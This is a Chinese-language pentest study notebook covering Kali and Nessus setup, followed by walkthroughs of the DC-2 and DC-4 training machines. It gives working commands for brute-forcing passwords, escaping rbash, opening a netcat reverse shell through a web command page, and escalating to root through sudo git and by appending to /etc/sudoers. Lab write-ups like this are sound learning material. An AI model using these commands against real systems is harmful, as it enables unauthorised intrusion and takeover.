学习环境准备
WSL2上的Kali Linux
在Windows“程序与功能”中确认开启WSL(Windows Subsystem for Linux)之后,Kali Linux子系统的安装步骤如下:
打开Windows应用商店,商店内搜索Kali Linux,下载并安装。(大小约为200M)
启动Kali,等待一段时间后会提示
虚拟机与靶机资源
- PASS
远程访问内网的两种方案
- PASS
Windows内置VPN
- PASS
NetShell端口转发
- PASS
基础技能学习
扫描技术
AWVS扫描器
- PASS
Nessus扫描器
Nessus的安装步骤如下:
Nessus需要注册码,对于个人用户注册是免费的,注册地址是https://zh-cn.tenable.com/products/nessus/nessus-essentials,注册后很快就能在预留邮箱中收到你的注册码。
下载Nessus,这里以Windows 10为例,下载64位的Nessus软件,下载地址是https://www.tenable.com/downloads/nessus,其他系统和版本的Nessus应用这里也有下载地址。
安装Nessus,打开应用,忽视掉https的安全风险提示,继续打开页面,选择
Nessus Essentials产品,输入注册码,并设定用户名和密码,等待一段时间,这段时间里会完成插件下载和安装。如果安装失败,可以进入安装目录,通过以管理员权限启动命令行,通过CLI工具修复。1
2cd "C:\Program Files\Tenable\Nessus"
nessuscli update
以
Nessus Advanced Scan为例,Nessus的扫描结果如下,下图一份是简要的报告,从中可以看出Nessus Advanced Scan的部分扫描功能:
提权技术
Redis - Crontab提权
- PASS
Windows、Linux提权
- PASS
MySQL提权
- PASS
靶机渗透和夺旗笔记
DC-2
DC-2靶机渗透笔记:
通过
ip a指令查看本机IP,其地址为192.168.136.128/24,通过nmap -sT 192.168.136.128/24扫描局域网,获取DC-2靶机的地址。发现靶机地址为
192.168.136.130,通过nmap -p- -A 192.168.136.130扫描靶机端口。发现了靶机80端口开放了一个Wordpress网页,并在7744端口开放了SSH服务,先做一个本地DNS解析,在
/etc/hosts中添加一条记录192.168.136.130 dc-2,打开FireFox浏览器,访问http://dc-2,在博客页面可以看到Flag1。Flag1提示可以使用
cewl工具获取字典,在终端执行cewl http://dc-2 -w passwd.txt,使用wpscan工具对Wordpress站点进行扫描,运行wpscan --url dc-2 -e p -e t -e u扫描站点,发现了admin、jerry、tom三个用户,使用wpscan --url dc-2 -P passwd.txt命令调用密码字典对用户密码进行爆破,得到两组用户名和密码。分别尝试使用Tom和Jerry的身份登录站点(Wordpress的后台登陆地址是http://dc-2/wp-login.php),Tom的身份下一无所获,Jerry的身份中有一篇文章,里面有第二条线索。
Flag2提示我们应该寻找新的入口,之前端口扫描的结果中,在靶机的7744端口上有SSH服务,所以使用Tom和Jerry的身份继续尝试SSH链接。使用
ssh tom@192.168.136.130 -p 7744输入密码成功连入靶机,在Tom的用户目录下发现了Flag3,但是不能使用cat命令打开,提示-rbash: cat: command not found,查看tom用户环境变量下的bin目录,发现可以使用vi编辑器,于是可以通过vi来绕过rbash限制。1
2
3
4
5
6# Bash
vi
# VI Editor
:set shell=/bin/sh
:shell绕过rbash限制之后,重设
SHELL和PATH的环境变量,这时cat命令已经可以使用,通过cat flag3.txt可以看到下一步的提示。Flag3提示可能需要切换到Jerry用户下,使用
su jerry命令,输入密码,在当前目录下发现第四个Flag,使用cat命令查看。Flag4中提到了git,通过
sudo -l可以发现Jerry可以无密码的执行git命令。于是使用sudo git help add打开Git帮助信息,输入!/bin/bash进行git提权,打开一个拥有root用户的命令行,在root用户的home目录下,我们发现了最终的Flag,渗透结束。
DC-4
DC-4靶机渗透笔记:
通过
ip a指令查看本机IP,其地址为192.168.136.128/24,通过nmap -sT 192.168.136.128/24扫描局域网,获取DC-2靶机的地址。发现靶机地址为
192.168.136.131,通过nmap -p- -A 192.168.136.131扫描靶机端口。从扫描结果可知,靶机的80端口上运行了一个Web应用,打开应用,发现只有一个登陆页面,使用
hydra对admin用户进行爆破,运行hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 10 dc-4 http-form-post "/login.php:username=^USER^&password=^PASS^:S=logout" -F命令,爆破结果显示,使用密码happy可以登录admin用户。登录之后发现,该页面可以在线执行命令,于是尝试在前端修改对应的命令,将靶机的终端反射到Kali上。在终端运行
nc -lvp 7777监听7777端口,修改网页中的指令为nc -nv 192.168.136.128 7777 -e /bin/bash,点击执行后,就会发现本地终端建立了靶机的连接。运行
python -c 'import pty; pty.spawn("/bin/bash")'打开终端,在靶机中可以发现/home目录下有三个用户,Charles、Jim、Sam,继续访问发现Jim的用户目录下有一个backups文件夹,里面有一份名为old-passwords.bak的文件,将其下载到本地,通过hydra针对靶机的Jim用户进行SSH的登录爆破,发现密码是jibril04。运行
ssh jim@dc-4用刚刚获得的密码登录靶机,发现有一封邮件的提示,切换到/var/mail文件夹下,查看Jim邮件,在邮件中,我们可以获得到Charles的密码。执行
su charles命令,使用刚刚邮件中获得密码切换到Charles用户。通过sudo -l命令,发现该用户可以无密码的执行teehee命令,通过teehee --help指令,我们发现该指令有写入文件的权限,于是我们通过echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers命令进行提权。获得Super权限之后,在root用户的目录下即可看到最终的Flag。